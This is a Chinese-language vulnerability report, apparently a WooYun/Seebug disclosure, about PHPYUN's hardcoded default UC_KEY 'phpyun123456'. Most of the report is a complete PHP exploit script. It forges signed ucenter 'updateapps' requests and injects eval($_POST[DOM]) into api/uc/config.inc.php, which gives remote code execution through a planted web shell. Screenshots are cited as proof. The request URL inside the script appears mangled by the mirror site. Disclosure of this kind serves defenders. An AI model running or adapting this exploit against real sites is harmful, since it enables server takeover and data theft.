### 简要描述：
PHPYUN设计缺陷导致轻易Getshell
### 详细说明：
#1 设计缺陷
phpyun集成了部分ucenter功能,引入了UC_KEY，且默认设置为"phpyun123456"
```
define("UC_KEY","phpyun123456");
```
你们难道不知道UC_KEY这个值的威力的多大?好吧 我就当你们不知道，详情请见
```
[WooYun: Discuz的利用UC_KEY进行getshell](http://www.wooyun.org/bugs/wooyun-2014-048137)
```
```
http://www.2cto.com/Article/201401/272274.html
```
#2 利用UC_KEY实现Getshell
```
<?php
// 代码版权归原作者所有！
$timestamp = time()+10*3600;
$host="www.vulns.org";
$uc_key="phpyun123456";
$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
$cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://x\');eval($_POST[DOM]);//</item>
</root>';
$cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://x</item>
</root>';
$html1 = send($cmd1);
echo $html1;
$html2 = send($cmd2);
echo $html2;
function send($cmd){
global $host,$code;
$message = "POST https://images.seebug.org/upload/api/uc/uc.php?code=".$code." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: ".$host."\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: ".$host."\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
//var_dump($message);
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>
```
运行上面的代码
[<img src="https://images.seebug.org/upload/201401/22121424d3d53688761b06819094dbfe6d038b3a.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/22121424d3d53688761b06819094dbfe6d038b3a.jpg)
即可往 api/uc/config.inc.php 写入恶意的代码
[<img src="https://images.seebug.org/upload/201401/2212214678cb6a06ebf5d0b0ae084db261d6c86f.jpg" alt="11.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/2212214678cb6a06ebf5d0b0ae084db261d6c86f.jpg)
### 漏洞证明：
# SO...
[<img src="https://images.seebug.org/upload/201401/22122058427eb6148f8488c66ae18c0909b6479f.jpg" alt="22.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/22122058427eb6148f8488c66ae18c0909b6479f.jpg)
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